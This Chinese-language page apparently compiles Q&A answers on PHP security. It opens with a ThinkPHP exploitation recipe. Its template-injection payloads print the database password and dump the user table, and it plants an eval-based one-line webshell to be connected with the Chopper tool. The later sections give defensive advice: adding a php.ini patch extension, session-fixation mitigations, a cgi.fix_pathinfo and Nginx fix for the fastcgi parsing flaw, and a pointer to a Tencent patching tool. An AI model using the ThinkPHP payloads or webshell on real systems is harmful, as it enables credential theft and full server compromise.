本文目錄一覽：
thinkphp 怎麼利用漏洞
1. 使用URL可以查看用戶的資料庫帳號密碼DB_NAME,DB_PASS,DB_HOST
{@print(THINK_VERSION)}
{@print(C(『』))}
{@print(C(『DB_PASS』))}
2.使用模型D方法或者M方法，猜測後台帳號密碼，當然首先要先猜一下用戶的表名了
{@var_dump(D(user)-select())}
3.直接執行一句話代碼，然後用菜刀直接連接.
{${eval($_POST[s])}} 一句話密碼:s
php漏洞修復
打開php配置文件，php.ini，然後在裡面搜索dll，把你下載的布丁照著格式複製一行就行了。比如你下載的補丁為abc.dll;就加一行extension=abc.dll
php漏洞問題
session fixation 即他人用已知的sid讓你登錄，然後他也可以登錄並操作你的帳號
幾種手段避免吧
1、不要在post和get方法發送sid，改在cookie中
2、對訪問請求要進行ip確認，不同ip要重新生成sid。
3、重要數據操作時使用加密SSL傳輸。
4、用戶瀏覽器或者登出後，以及任何變動時，要及時換sid
5、設定不活躍操作的session超時，超時後就重生成sid，降低盜用的可能。
怎麼樣在php中使用fastcgi解析漏洞及修復方案
（Nginx用戶可以選擇方案一或方案二，IIS用戶請使用方案一）
方案一，修改php.ini文件，將cgi.fix_pathinfo的值設置為0。完成後請重啟PHP和NGINX（IIS）。
方案二，在Nginx配置文件中添加以下代碼：
複製代碼 代碼如下:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
請問下有知道如何利用PHP漏洞入侵伺服器的高手嗎??
去騰訊智慧安全申請個御點終端安全系統
申請好了之後，打開騰訊御點，選擇修復漏洞
可以自動檢測出電腦裡面需要修復的漏洞然後一鍵修復
原創文章，作者：小藍，如若轉載，請註明出處：https://www.506064.com/zh-tw/n/160639.html
微信掃一掃 
支付寶掃一掃 